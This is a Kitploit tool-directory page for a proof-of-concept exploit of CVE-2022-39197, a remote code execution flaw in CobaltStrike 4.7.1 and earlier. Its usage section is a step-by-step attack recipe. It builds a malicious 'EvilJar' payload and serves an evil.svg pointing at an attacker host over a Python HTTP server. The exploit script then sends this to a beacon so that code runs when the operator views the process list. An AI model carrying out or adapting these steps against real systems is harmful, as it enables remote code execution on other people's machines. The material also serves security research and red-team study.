Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/its-arun/cve-2022-39197
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlRed TeamingPayload Development
GitHubits-arun/cve-2022-39197

CVE-2022-39197

CobaltStrike <= 4.7.1 RCE

View Repository
387753 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-39197 RCE POC

Usage

  • Prepare Payload
  1. Edit Line 19 with your payload in EvilJar/src/main/java/Exploit.java
  2. Build using jar mvn clean compile assembly:single
  3. Move EvilJar-1.0-jar-with-dependencies.jar from EvilJar/target/ to serve/ folder
  4. Edit serve\evil.svg replace [attacker]
  5. Serve using python3 -m http.server 8080
  • Execute Exploit
root@kitploit:~
python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg

Payload will be triggered as soon as the user scrolls through Process List

POC.JPG?

1.jpg

Reference Links

https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — There’s a great in depth analysis of this vulnerability https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html

Download Tool